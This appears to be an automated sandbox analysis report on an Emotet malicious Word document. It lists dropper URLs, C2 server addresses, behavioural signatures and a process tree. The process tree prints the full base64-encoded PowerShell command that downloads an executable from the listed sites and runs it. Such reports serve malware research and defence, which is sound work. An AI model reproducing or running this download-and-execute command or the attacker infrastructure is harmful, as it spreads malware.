Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    20/08/2020, 02:13

General

  • Target
    emotet_e3_37e6cad710f75ef1dfc09bc1fd00dbc6f88db36ee17518d0f7491870f7dbdfc5_2020-08-20__021222._doc.doc
  • Size 201KB
  • Sample200820-7tx7kjad1s
  • SHA256 37e6cad710f75ef1dfc09bc1fd00dbc6f88db36ee17518d0f7491870f7dbdfc5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/

  • exe.dropper

    https://anhung1102.vn/wp-admin/LtirUcNdN/

  • exe.dropper

    https://idan-online.co.il/wp-admin/PPf124q2l26832/

  • exe.dropper

    http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/

  • exe.dropper

    http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/

  • exe.dropper

    https://lokeshullamkecskemet.hu/mail/Jnilw/

  • exe.dropper

    http://armonimalatya.com/dermatomic/77qo1g74024/

Extracted

Family
  • emotet

C2
  • 173.94.215.84:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 60.125.114.64:443

  • 181.126.54.234:80

  • 157.7.164.178:8081

  • 95.216.205.155:8080

  • 216.75.37.196:8080

  • 179.62.238.49:80

  • 71.57.180.213:80

  • 172.96.190.154:8080

  • 112.78.142.170:80

  • 178.238.232.46:443

  • 177.144.130.105:443

  • 105.209.235.113:8080

  • 46.105.131.68:8080

  • 185.86.148.68:443

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 168.0.97.6:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 5 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_37e6cad710f75ef1dfc09bc1fd00dbc6f88db36ee17518d0f7491870f7dbdfc5_2020-08-20__021222._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3488
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Windows\SysWOW64\mswsock\wlangpui.exe
        "C:\Windows\SysWOW64\mswsock\wlangpui.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3784
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 280
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1596-16-0x0000000003B00000-0x0000000003B0C000-memory.dmp

        memory/2316-20-0x0000000004270000-0x0000000004271000-memory.dmp

        memory/2316-21-0x0000000004670000-0x0000000004671000-memory.dmp

        memory/2316-23-0x0000000004960000-0x0000000004961000-memory.dmp

        memory/2636-12-0x0000023C9D4D0000-0x0000023C9D4D1000-memory.dmp

        memory/2636-11-0x0000023C9CF40000-0x0000023C9CF41000-memory.dmp

        memory/2636-10-0x00007FFCC7550000-0x00007FFCC7F3C000-memory.dmp

        memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

        memory/3488-4-0x000001CB570C7000-0x000001CB570D0000-memory.dmp

        memory/3784-19-0x00000000005B0000-0x00000000005BC000-memory.dmp